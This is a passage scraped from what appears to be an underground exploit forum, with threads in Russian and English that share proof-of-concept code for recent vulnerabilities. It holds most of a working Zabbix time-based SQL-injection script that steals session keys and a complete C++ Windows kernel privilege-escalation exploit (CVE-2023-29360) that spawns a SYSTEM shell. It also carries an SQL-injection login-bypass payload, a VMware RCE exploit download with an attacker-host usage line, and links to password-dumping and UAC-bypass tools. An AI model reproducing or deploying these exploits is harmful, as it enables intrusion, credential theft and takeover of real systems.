        for c in string.digits + "abcdef":
            print("\n(+) trying c=%s" % c, end="", flush=True)
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            send_message(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()

            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                token += c
                print("(+) session_key=%s" % token, end="", flush=True)
                break

    print("\n")

    return token


def tiny_poc(ip, port, sid, hostid):
    print("(+) Running simple PoC...\n", end="", flush=True)

    print("(+) Sleeping for 1 sec...\n", end="", flush=True)
    before_query = datetime.now().timestamp()
    query = "(select sleep(1))"
    send_message(ip, port, sid, hostid, query)
    after_query = datetime.now().timestamp()
    print("(+) Request time: %d\n" % (after_query-before_query))

    print("(+) Sleeping for 5 sec...\n", end="", flush=True)
    before_query = datetime.now().timestamp()
    query = "(select sleep(5))"
    send_message(ip, port, sid, hostid, query)
    after_query = datetime.now().timestamp()
    print("(+) Request time: %d\n" % (after_query - before_query))

    print("(+) Sleeping for 10 sec...\n", end="", flush=True)
    before_query = datetime.now().timestamp()
    query = "(select sleep(10))"
    send_message(ip, port, sid, hostid, query)
    after_query = datetime.now().timestamp()
    print("(+) Request time: %d\n" % (after_query - before_query))


def poc_to_check_in_zabbix_log(ip, port, sid, hostid):
    print("(+) Sending SQL request for MySQL version...\n", end="", flush=True)
    query = "(version())"
    send_message(ip, port, sid, hostid, query)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Command-line option parser example')
    parser.add_argument("--false_time", help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)", default="1")
    parser.add_argument("--true_time", help="Time to sleep in case of right guess(make it bigger than false time, default=10)", default="10")
    parser.add_argument("--ip", help="Zabbix server IP")
    parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051")
    parser.add_argument("--sid", help="Session ID of low privileged user")
    parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid")
    parser.add_argument("--poc", action='store_true', help="Use this key if you want only PoC, PoC will simply make sleep 1,2,5 seconds on mysql server", default=False)
    parser.add_argument("--poc2", action='store_true', help="Use this key to simply generate error in zabbix logs, check logs later to see results", default=False)

    args = parser.parse_args()

    if args.poc:
        tiny_poc(args.ip, int(args.port), args.sid, args.hostid)
    elif args.poc2:
        poc_to_check_in_zabbix_log(args.ip, int(args.port), args.sid, args.hostid)
    else:
        print("(+) Extracting Zabbix config session key...\n", end="", flush=True)
        config_session_key = extract_config_session_key(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
        print("(+) config session_key=%s\n" % config_session_key, end="", flush=True)

        print("(+) Extracting admin session_id...")
        admin_sessionid = extract_admin_session_id(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
        print("(+) admin session_id=%s\n" % admin_sessionid, end="", flush=True)
        print("(+) session_key=%s, admin session_id=%s. Now you can genereate admin zbx_cookie and sign it with session_key" % (config_session_key, admin_sessionid))
LPE, Microsoft Streaming Service, CVE-2023-29360
ID: 67686ba3b4103b69df379b7d
Thread ID: 98819
Created: 2023-09-25T19:00:06+0000
Last Post: 2024-02-15T23:21:05+0000
Author: Vexer2k
Prefix: Local
Replies: 5 Views: 1K

Since I didn't see any public PoC being developed for this vulnerability I decided to write my own. Here https://github.com/Nero22k/cve-2023-29360

Types.h

C++:Copy to clipboard

#pragma once
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <Psapi.h>
#include <stdint.h>

#define IOCTL_IniContextRendezv 0x2F0400
#define IOCTL_ZwUpdateWnfStateData 0x2F0428
#define IOCTL_RegisterContext 0x2F041C
#define IOCTL_FSUpdateCamerStreamingConsent 0x2F042C
#define IOCTL_KSPropertyHandle 0x2F0003
#define IOCTL_InitializeStream 0x2F0404
#define IOCTL_RegisterStream 0x2F0420
#define IOCTL_PublishTx 0x2F0408
#define IOCTL_ConsumeTx 0x2F0410

#define OFFSET_OF_TOKEN_PRIVILEGES 0x40 // Windows X >= Windows Vista

#define SystemModuleInformation (SYSTEM_INFORMATION_CLASS)11
#define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)16
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004

#pragma pack(push, 1)
typedef struct _EvilBuffer {
    uint64_t size;
    uint64_t txsize;
    uint64_t rxsize;
    uint32_t txcount;
    uint32_t rxcount;
    uint64_t value;
    uint64_t value2;
    uint64_t virtualAddress1;
    uint64_t timestamp;
    uint64_t field9;
    uint64_t virtualAddress2;
    uint64_t field10;
    uint64_t size1;
    uint64_t virtualAddress3;
    uint64_t size2;
    uint32_t Priority;
    uint32_t flag;
    uint64_t resolution;
    uint64_t field11;
    uint64_t field12;
    uint64_t format;
    uint64_t field13;
    uint64_t dimension;
    uint64_t field14;
    uint8_t reserved2[0x110];
} EvilBuffer;

typedef struct _ConsumeTxOut {
    uint64_t size;
    uint64_t txsize;
    uint64_t rxsize;
    uint32_t txcount;
    uint32_t rxcount;
    uint64_t value;
    uint64_t counter;
    uint64_t empty1;
    uint64_t empty2;
    uint64_t empty3;
    uint8_t *PageVaAddressRW;
    uint64_t empty5;
    uint64_t empty6;
    uint8_t *PageVaAddressR;
    uint8_t reserved2[0xF68];
} ConsumeTxOut;
#pragma pack(pop)

typedef struct _MY_IRP
{
    uint64_t Type;
    PVOID CurrentProcId;
    uint64_t Flags;
    HANDLE hEvent;
} MY_IRP;

typedef struct _PublishTxOut
{
    uint64_t txsize;
    uint64_t rxsize;
    uint32_t txcount;
    uint32_t rxcount;
} PublishTxOut;

typedef struct _InputBuffer
{
    uint64_t Type;
    PVOID CurrentProcId;
    uint64_t Flags;
    uint64_t qword18;
    uint64_t qword20;
    HANDLE hEvent;
} InputBuffer;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    unsigned short UniqueProcessId;
    unsigned short CreatorBackTraceIndex;
    unsigned char ObjectTypeIndex;
    unsigned char HandleAttributes;
    unsigned short HandleValue;
    void* Object;
    unsigned long GrantedAccess;
    long __PADDING__[1];
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    unsigned long NumberOfHandles;
    struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

client.cpp

C++:Copy to clipboard

#define __STREAMS__
#include "Types.h"
#include <ks.h>
#include <Dshow.h>
#include <ksproxy.h>

#pragma comment(lib, "Ksproxy.lib")
#pragma comment(lib, "ntdll.lib")

DEFINE_GUIDSTRUCT("3C0D501A-140B-11D1-B40F-00A0C9223196", KSNAME_Server);
#define KSNAME_Server DEFINE_GUIDNAMED(KSNAME_Server)

BOOL FSRegisterStream(HANDLE hDevice)
{
    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status;
    HANDLE hEvent;
    InputBuffer inbuff = { 0 };

    uint32_t high = 0x14;
    uint32_t low = 0x0;

    hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
    if (hEvent == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] CreateEventW failed\n");
        return FALSE;
    }

    inbuff.Type = 2;
    inbuff.CurrentProcId = (PVOID)GetCurrentProcessId();
    inbuff.Flags = 0x000000136FE7474D;
    inbuff.qword18 = ((uint64_t)high << 32) | (uint64_t)low;
    inbuff.qword20 = 0x40000;
    inbuff.hEvent = hEvent;

    status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_RegisterStream, &inbuff, sizeof(InputBuffer), 0, 0);

    if (status == 0)
    {
        CloseHandle(hEvent);
        return TRUE;
    }
    else
    {
        wprintf(L"[!] FSRegisterStream failed with 0x%X\n", status);
        CloseHandle(hEvent);
        return FALSE;
    }
}

BOOL FSInitializeStream(HANDLE hDevice)
{
    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status;
    HANDLE hEvent;
    InputBuffer inbuff = { 0 };

    uint32_t high = 0x14;
    uint32_t low = 0x0;

    hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
    if (hEvent == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] CreateEventW failed\n");
        return FALSE;
    }

    inbuff.Type = 1;
    inbuff.CurrentProcId = (PVOID)GetCurrentProcessId();
    inbuff.Flags = 0x000000136FE7474D;
    inbuff.qword18 = ((uint64_t)high << 32) | (uint64_t)low;
    inbuff.qword20 = 0x40000;
    inbuff.hEvent = hEvent;


    status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_InitializeStream, &inbuff, sizeof(InputBuffer), 0, 0);

    if (status == 0)
    {
        CloseHandle(hEvent);
        return TRUE;
    }
    else
    {
        wprintf(L"[!] FSInitializeStream failed with 0x%X\n", status);
        CloseHandle(hEvent);
        return FALSE;
    }
}


BOOL FSInitializeContextRendezvous(HANDLE hDevice)
{
    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status;
    DWORD dwbytesreturned = 0;
    
    MY_IRP inbuff = { 0 };

    inbuff.CurrentProcId = (PVOID)GetCurrentProcessId();
    inbuff.Type = 1;
    inbuff.Flags = 0x000000136FE7474D;

    status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_IniContextRendezv, &inbuff, sizeof(MY_IRP), NULL, NULL);

    if (status == NOERROR)
    {
        return TRUE;
    }
    else
    {
        wprintf(L"[!] FSInitializeContextRendezvous failed with 0x%X\n", status);
        return FALSE;
    }
}

BOOL FSRendezvousServerRegisterContext(HANDLE hDevice)
{
    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status;
    DWORD dwbytesreturned = 0;
    HANDLE hEvent;

    hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
    if (hEvent == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] CreateEventW failed\n");
        return FALSE;
    }

    MY_IRP inbuff = { 0 };

    inbuff.Type = 2;
    inbuff.CurrentProcId = (PVOID)GetCurrentProcessId();
    inbuff.Flags = 0x000000136FE7474D;
    inbuff.hEvent = hEvent;

    status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_RegisterContext, &inbuff, sizeof(MY_IRP), NULL, NULL);

    if (status == NOERROR)
    {
        CloseHandle(hEvent);
        return TRUE;
    }
    else
    {
        wprintf(L"[!] FSRendezvousServerRegisterContext failed with 0x%X\n", status);
        CloseHandle(hEvent);
        return FALSE;
    }
}

uint64_t GetTokenAddress()
{
    NTSTATUS status;
    HANDLE currentProcess = GetCurrentProcess();
    HANDLE currentToken = NULL;
    uint64_t tokenAddress = 0;
    ULONG ulBytes = 0;
    PSYSTEM_HANDLE_INFORMATION handleTableInfo = NULL;

    BOOL success = OpenProcessToken(currentProcess, TOKEN_QUERY, &currentToken);
    if (!success)
    {
        wprintf(L"[!] Couldn't open a handle to the current process token. (Error code: %d)\n", GetLastError());
        return 0;
    }
    // Allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API
    while ((status = NtQuerySystemInformation(SystemHandleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
    {
        if (handleTableInfo != NULL)
        {
            handleTableInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
        }

        else
        {
            handleTableInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
        }
    }

    if (status == 0)
    {
        // iterate over the system's handle table and look for the handles beloging to our process
        for (ULONG i = 0; i < handleTableInfo->NumberOfHandles; i++)
        {
            // if it finds our process and the handle matches the current token handle we already opened, print it
            if (handleTableInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() && handleTableInfo->Handles[i].HandleValue == (USHORT)currentToken)
            {
                tokenAddress = (uint64_t)handleTableInfo->Handles[i].Object;
                break;
            }
        }
    }
    else
    {
        if (handleTableInfo != NULL)
        {
            wprintf(L"[!] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n", status);
            HeapFree(GetProcessHeap(), 0, handleTableInfo);
            CloseHandle(currentToken);
            return 0;
        }
    }

    HeapFree(GetProcessHeap(), 0, handleTableInfo);
    CloseHandle(currentToken);

    return tokenAddress;
}

BOOL PublishTx(HANDLE hDevice, uint64_t TokenAddr)
{
    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status;

    EvilBuffer inbuffer = { 0 };
    PublishTxOut outbuffer = { 0 };
    // There will be two pages mapped to user space one with RW and one with R
    // we could map the system TOKEN to the R only page and our process token to the RW page
    // then overwrite it with system token
    inbuffer.size = sizeof(EvilBuffer);
    inbuffer.value = ((uint64_t)0x1 << 32) | (uint64_t)0x3;
    inbuffer.value2 = 0x1;
    inbuffer.virtualAddress2 = TokenAddr; //RW
    inbuffer.size1 = ((uint64_t)0x1000 << 32) | (uint64_t)0x140;
    inbuffer.virtualAddress3 = TokenAddr; // R
    inbuffer.size2 = ((uint64_t)0x1000 << 32) | (uint64_t)0x140;
    inbuffer.flag = 0x10000000;            // Important value do not change it otherwise the page will be mapped as read only
    inbuffer.Priority = 0x00000004;             // Important value do not change

    status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_PublishTx, &inbuffer, sizeof(EvilBuffer), &outbuffer, sizeof(PublishTxOut));

    if (status == NOERROR)
    {
        wprintf(L"[+] PublishTx stats[txsize:%I64d,rxsize:%I64d,txcount:%d,rxcount:%d]\n",
            outbuffer.txsize,
            outbuffer.rxsize,
            outbuffer.txcount,
            outbuffer.rxcount);
        return TRUE;
    }
    else
    {
        wprintf(L"[!] PublishTx failed with 0x%X\n", status);
        return FALSE;
    }
}

BOOL ConsumeTx(HANDLE hDevice, uint8_t **Addr)
{
    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status;

    ConsumeTxOut inbuffer = { 0 };

    // Allocate memory in user mode
    PVOID Inbuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (Inbuffer == NULL) {
        wprintf(L"[!] VirtualAlloc failed with 0x%X\n", GetLastError());
        return FALSE;
    }
    
    wprintf(L"[+] VirtualAlloc buffer => %p\n", Inbuffer);

    inbuffer.size = 0x1000;
    inbuffer.value = 0x6;

    memcpy(Inbuffer, &inbuffer, 0x30);

    status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_ConsumeTx, Inbuffer, sizeof(ConsumeTxOut), Inbuffer, sizeof(ConsumeTxOut));

    if (status == NOERROR)
    {
        memcpy(&inbuffer, Inbuffer, 0x68);
        wprintf(L"[+] ConsumeTx stats[txsize:%I64d,rxsize:%I64d,txcount:%d,rxcount:%d]\n",
            inbuffer.txsize,
            inbuffer.rxsize,
            inbuffer.txcount,
            inbuffer.rxcount);
        *Addr = inbuffer.PageVaAddressRW;
        return TRUE;
    }
    else
    {
        wprintf(L"[!] ConsumeTx failed with 0x%X\n", status);
        return FALSE;
    }
}

DWORD getProcessId(const wchar_t* process)
{
    HANDLE          hSnapShot;
    PROCESSENTRY32  pe32;
    DWORD           pid;


    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hSnapShot == INVALID_HANDLE_VALUE)
    {
        printf("\n[-] Failed to create handle CreateToolhelp32Snapshot()\n\n");
        return -1;
    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnapShot, &pe32) == FALSE)
    {
        printf("\n[-] Failed to call Process32First()\n\n");
        return -1;
    }

    do
    {
        if (_wcsicmp(pe32.szExeFile, process) == 0)
        {
            pid = pe32.th32ProcessID;
            return pid;
        }
    } while (Process32Next(hSnapShot, &pe32));

    CloseHandle(hSnapShot);
    return 0;
}


int spawnShell()
{
    const wchar_t* process = L"winlogon.exe";
    DWORD     pid;
    HANDLE    hProcess;
    HANDLE    hThread;
    LPVOID    ptrtomem;


    pid = getProcessId(process);

    if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)) == NULL)
    {
        wprintf(L"\n[-] Unable to open %ws process\n\n", process);
        return -1;
    }
    wprintf(L"\n[+] Opened %ws process pid=%d with PROCESS_ALL_ACCESS rights", process, pid);

    SIZE_T size;
    STARTUPINFOEXW siex = { 0 };
    siex.StartupInfo.cb = sizeof(siex);
    siex.lpAttributeList = NULL;
    
    InitializeProcThreadAttributeList(NULL, 1, 0, &size);
    siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
    InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &size);
    
    UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProcess, sizeof(hProcess), NULL, NULL);
    
    PROCESS_INFORMATION pi;
    WCHAR cmdPath[] = L"C:\\Windows\\System32\\cmd.exe";
    if (!CreateProcessW(NULL, cmdPath, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&siex, &pi)) {
        wprintf(L"[-] Failed to create new process.\n");
        wprintf(L"    |-> %d\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, siex.lpAttributeList);
        return FALSE;
    }
    
    wprintf(L"[+] New process is created successfully.\n");
    
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    HeapFree(GetProcessHeap(), 0, siex.lpAttributeList);

    return 0;
}


int main()
{
    uint64_t tokenAddress = 0;

    HANDLE DeviceH1, DeviceH2, DeviceH3;
    HRESULT hr;

    hr = KsOpenDefaultDevice(KSNAME_Server, GENERIC_READ | GENERIC_WRITE, &DeviceH1);

    if (hr != NOERROR) {
        wprintf(L"Error: %ld\n", hr);
        return 1;
    }

    hr = KsOpenDefaultDevice(KSNAME_Server, GENERIC_READ | GENERIC_WRITE, &DeviceH2);

    if (hr != NOERROR) {
        wprintf(L"Error: %ld\n", hr);
        return 1;
    }

    hr = KsOpenDefaultDevice(KSNAME_Server, GENERIC_READ | GENERIC_WRITE, &DeviceH3);

    if (hr != NOERROR) {
        wprintf(L"Error: %ld\n", hr);
        return 1;
    }

    wprintf(L"[+] Successfully got a handle 1 => %p\n", DeviceH1);
    wprintf(L"[+] Successfully got a handle 2 => %p\n", DeviceH2);
    wprintf(L"[+] Successfully got a handle 3 => %p\n", DeviceH3);

    tokenAddress = GetTokenAddress();

    uint64_t privaddr = tokenAddress + OFFSET_OF_TOKEN_PRIVILEGES;

    if (tokenAddress)
    {
        wprintf(L"[+] Target process TOKEN address: %llx\n", tokenAddress);
        wprintf(L"[+] Target process _SEP_TOKEN_PRIVILEGES address: %llx\n", privaddr);
    }

    BOOL success = FALSE;


    success = FSInitializeContextRendezvous(DeviceH1);

    if (success)
    {
        wprintf(L"[^] InitializeContextRendezvous successfully\n");
    }

    success = FSInitializeStream(DeviceH2);

    if (success)
    {
        wprintf(L"[^] FSInitializeStream successfully\n");
    }
    

    success = FSRegisterStream(DeviceH3);

    if (success)
    {
        wprintf(L"[^] FSRegisterStream successfully\n");
    }
    
    success = PublishTx(DeviceH3, privaddr);

    if (success)
    {
        wprintf(L"[^] PublishTx successfully\n");
    }
    
    uint8_t *mappedAddress = NULL;

    success = ConsumeTx(DeviceH3, &mappedAddress);

    if (success)
    {
        wprintf(L"[^] ConsumeTx successfully\n");
    }

    uint64_t address = (uint64_t)mappedAddress;
    uint64_t baseAlignment = 0x1000;

    // Align the address
    uint64_t alignedAddress = address & ~(baseAlignment - 1);

    wprintf(L"[+] Aligned VA Base Address => %p\n", (void*)alignedAddress);
    wprintf(L"[+] VA Token Address => %p\n", mappedAddress);

    if(mappedAddress != NULL)
    {
        // Enable all privileges
        memset(mappedAddress, 0xFF, 0x10);
        spawnShell();
    }

    CloseHandle(DeviceH1);
    CloseHandle(DeviceH2);
    CloseHandle(DeviceH3);

    return 0;
}
LPE, Win32k, CVE-2023-29336
ID: 67686ba3b4103b69df379bbf
Thread ID: 90419
Created: 2023-06-13T20:25:40+0000
Last Post: 2023-06-23T16:42:20+0000
Author: baykal
Prefix: Local
Replies: 5 Views: 1K

Опубликован PoC-эксплоит для исправленной в мае уязвимости повышения привилегий в драйвере Win32k.

Напомню, что этот баг получил идентификатор [CVE-2023-29336](https://msrc.microsoft.com/update- guide/vulnerability/CVE-2023-29336) (7,8 балла по шкале CVSS) и был обнаружен исследователями из компании Avast. Сообщалось, что CVE-2023-29336 затрагивает системы под управлением Windows 10 и Windows Server 2008, 2012 и 2016. «Злоумышленник, успешно воспользовавшийся этой уязвимостью, может получить привилегии уровня SYSTEM», — гласило официальное сообщение Microsoft.

Еще в мае специалисты Avast предупреждали, что уже зафиксировали атаки на CVE-2023-29336, однако о них не сообщалось ничего конкретного. В свою очередь, Агентство США по кибербезопасности и безопасности инфраструктуры (CISA) добавило эту проблему в каталог известных эксплуатируемых уязвимостей (KEV), и призвало организации установить исправления до 30 мая 2023 года.

Теперь, спустя месяц после выхода патча, аналитики из компании Numen опубликовали полную техническую информацию об уязвимости, а также PoC-эксплоит для Windows Server 2016.

Эксперты рассказывают, что хотя уязвимость непригодна для атак на Windows 11, она представляет значительный риск для более старых версий ОС, включая старые версии Windows 10, Windows Server и Windows 8.

В своем отчете исследователи объясняют, что экспериментировали с различными методами манипулирования памятью, триггерами эксплоитов и функциями чтения/записи памяти, что в итоге помогло им создать работающий эксплоит, который обеспечивает надежное повышение привилегий до уровня SYSTEM. Демонстрация работы эксплоита показана в ролике ниже.

:zns5:POC

![www.numencyber.com](/proxy.php?image=https%3A%2F%2Fwww.numencyber.com%2Fwp- content%2Fuploads%2F2023%2F06%2FCopy-of-Numen-Graphic- Templates.png&hash=4670a8191642d32320382b17f8f45c7b&return_error=1)

[ Analysis of CVE-2023-29336 Win32k Privilege Escalation

](http://www.numencyber.com/cve-2023-29336-win32k-analysis/)

Analyzing CVE-2023-29336 Win32k vulnerability, its exploitation, and mitigation measures in the context of evolving security practices.

![www.numencyber.com](/proxy.php?image=https%3A%2F%2Fcdn- hhnil.nitrocdn.com%2FyKEeGdqzlFUWKJkCzRRODrZMaCugBMxM%2Fassets%2Fimages%2Foptimized%2Frev- cf1c040%2Fwp-content%2Fuploads%2F2022%2F10%2Fcropped-favicon- numen-32x32.jpg&hash=6543d19a515259685d217f71d113e095&return_error=1) www.numencyber.com

CVE-2023-20887
ID: 67686ba3b4103b69df379bc4
Thread ID: 90494
Created: 2023-06-14T13:35:46+0000
Last Post: 2023-06-16T23:17:06+0000
Author: Zodiac
Prefix: Remote
Replies: 4 Views: 1K

нашел в ТГ. Не уверен, что это работает, у кого-то было это в руках?

VMWare vRealize Network Insight Pre-Authenticated
RCE exploit

files in rar

- CVE-2023-20887.py
- nuclei-CVE-2023-20887.yaml
- vmware_vrni_rce_cve_2023_20887.rb

usage

- python CVE-2023-20887.py --url https://192.168.116.100 --attacker https://192.168.116.1:1337

download - https://bayfiles.com/j927G8w5za/vmware_CVE_2023_20887_exploit_zip

Another Wordpress Exploit: Enrollment System
ID: 67686ba3b4103b69df379bc6
Thread ID: 89973
Created: 2023-06-08T01:59:59+0000
Last Post: 2023-06-13T23:05:30+0000
Author: omerta
Prefix: Web
Replies: 0 Views: 1K

Enrollment System Project v1.0 - SQL Injection Authentication Bypass ( SQLI )

Vulnerability Description -

Enrollment System Project V1.0, developed by Sourcecodester, has been found to be vulnerable to SQL Injection ( SQLI ) attacks. This vulnerability allows an attacker to manipulate the SQL queries executed by the application. The system fails to properly validate user-supplied input in the username and password fields during the login process, enabling an attacker to inject malicious SQL code. By exploiting this vulnerability, an attacker can bypass authentication and gain unauthorized access to the system.

Steps to Reproduce -

The following steps outline the exploitation of the SQL Injection vulnerability in Enrollment System Project V1.0:

1. Launch the Enrollment System Project V1.0 application.

2. Open the login page by accessing the URL: http://localhost/enrollment/login.php.

3. In the username and password fields, insert the following SQL Injection payload shown inside brackets to bypass authentication: 'TAG1>' or 1 { 1 # =.

4. Click the login button to execute the SQL Injection payload.

As a result of successful exploitation, the attacker gains unauthorized access to the system and is logged in with administrative privileges.

Version: V1.0
Tested on: Windows 10
Vulnerable Software Vendor Homepage: https://www.sourcecodester.com
Vulnerable Software Link: <https://www.sourcecodester.com/php/14444/enrollment-system-project-source- code-using-phpmysql.html>
CVE: CVE-2023-33584
Exploit Author: VIVEK CHOUDHARY

MoveIT Shell checker
ID: 67686ba3b4103b69df379bc8
Thread ID: 89981
Created: 2023-06-08T08:52:16+0000
Last Post: 2023-06-09T07:44:45+0000
Author: Zodiac
Prefix: Remote
Replies: 5 Views: 1K

MoveIT-WebShellCheck​

This Python script checks specific URLs (http|https:///human2.aspx) on a list of hosts and prints out a result depending on the HTTP response code it receives. It prints "compromised" if it receives a 404 status code, "exploit not present" if it receives a 302 status code, and reports an unexpected status code for all other codes.

The list of hosts can be provided as a file (with one host per line) or a single host can be provided directly. The script can optionally write the output to a specified file as well as print it to the console.

Note: this will generate false positives but the human2.aspx shell responds with a 404 when it 's there, but equally if you try to hit it usually it should 302 you

Requirements​

  • Python 3
  • requests library installed in Python

Shodan query for MOVEit instances www.shodan.io/search?query=http.favicon.hash%3A989289239

Usage​

There are two ways to provide input to the script:

  • python MoveITCheck.py -f hosts.txt -o output.txt (-f or --file: Specify a file containing a list of hosts (one per line)

  • python MoveITCheck.py -s example.com -o output.txt (-s or --single: Specify a single host)

github : https://github.com/ZephrFish/MoveIT-WebShellCheck

MoveIT CVE-2023-34362 + RCE PoC
ID: 67686ba3b4103b69df379bcb
Thread ID: 89828
Created: 2023-06-06T10:35:46+0000
Last Post: 2023-06-06T10:35:46+0000
Author: crypt0
Replies: 0 Views: 1K

possible to get RCE via MoveIT CVE

https://play.hubspotvideo.com/cb5e099d-2433-410d-8d30-9c00538d1b9b

[here the blog post ](https://www.huntress.com/blog/moveit-transfer-critical- vulnerability-rapid-response)

KeePass 2.X Master Password Dumper (CVE-2023-32784)
ID: 67686ba3b4103b69df379bd3
Thread ID: 88263
Created: 2023-05-18T07:27:26+0000
Last Post: 2023-05-18T07:44:08+0000
Author: p1t
Prefix: Local
Replies: 1 Views: 1K

Уязвимость KeePass CVE-2023-32784 позволяет восстановить мастер-пароль.

Самый простой способ проверить это в Windows - создать дамп процесса в диспетчере задач, щелкнув правой кнопкой мыши на процессе KeePass и выбрав "Создать файл дампа".

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F2046fb09c674424893a4463dcd7288986d2c58a735408251fde2fe7b6c374b2e%2Fvdohney%2Fkeepass- password-dumper&hash=7503c4870fe2615f1262f16b5d386a1e&return_error=1)

[ GitHub - vdohney/keepass-password-dumper

](https://github.com/vdohney/keepass-password-dumper)

Contribute to vdohney/keepass-password-dumper development by creating an account on GitHub.

github.com github.com

CompMgmtLauncher & Sharepoint UAC bypass
ID: 67686ba3b4103b69df379bd4
Thread ID: 88064
Created: 2023-05-15T22:35:51+0000
Last Post: 2023-05-15T22:35:51+0000
Author: baykal
Prefix: Local
Replies: 0 Views: 1K

CompMgmtLauncher & Sharepoint DLL Search Order hijacking UAC/persist via OneDrive

Windows 10 1507 (not vuln.)
Windows 10 1511 (vulnerable)
Windows 10 1607 (not vuln)
Windows 11 21996.1 (Persist/LOLbin)

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Fd97322880e4c2cb691283adec9a35326e1b736d4a719add1b0057d489b0debb5%2Fhackerhouse- opensource%2FCompMgmtLauncher_DLL_UACBypass&hash=63334d2057219f90b0cd48a500d332f1&return_error=1)

[ GitHub - hackerhouse-opensource/CompMgmtLauncher_DLL_UACBypass:

CompMgmtLauncher & Sharepoint DLL Search Order hijacking UAC/persist via OneDrive ](https://github.com/hackerhouse- opensource/CompMgmtLauncher_DLL_UACBypass)

CompMgmtLauncher & Sharepoint DLL Search Order hijacking UAC/persist via OneDrive - GitHub - hackerhouse-opensource/CompMgmtLauncher_DLL_UACBypass: CompMgmtLauncher & Sharepoint DLL Search ...

github.com github.com

Поделитесь cve-2017-7269
ID: 67686ba3b4103b69df379bd8
Thread ID: 86792
Created: 2023-04-27T14:31:05+0000
Last Post: 2023-04-27T14:31:05+0000
Author: Focus17
Prefix: Remote
Replies: 0 Views: 1K

Ребят, есть под эту cve-2017-7269 вюлну рабочий?
Поделитесь пожалуйста

CVE-2023-1585 and CVE-2023-1587
ID: 67686ba3b4103b69df379bd9
Thread ID: 86771
Created: 2023-04-27T09:23:14+0000
Last Post: 2023-04-27T09:23:14+0000
Author: den nicolas
Prefix: Local
Replies: 0 Views: 1K

Здесь шпаргалка: [https://the-deniss.github.io/posts/...eged-arbitrary-file- create-on-quarantine.html](https://the- deniss.github.io/posts/2023/04/26/avast-privileged-arbitrary-file-create-on- quarantine.html)

Exploit: [https://github.com/the-deniss/Vulnerability- Disclosures/tree/main/CVE-2023-1585 & CVE-2023-1587/](https://github.com/the- deniss/Vulnerability- Disclosures/tree/main/CVE-2023-1585%20%26%20CVE-2023-1587/)

CVE-2023-29007
ID: 67686ba3b4103b69df379bda
Thread ID: 86757
Created: 2023-04-27T05:29:11+0000
Last Post: 2023-04-27T05:29:11+0000
Author: Zodiac
Prefix: Remote
Replies: 0 Views: 1K

свежая шлюха на рынке :)

code - https://github.com/ethiack/CVE-2023-29007

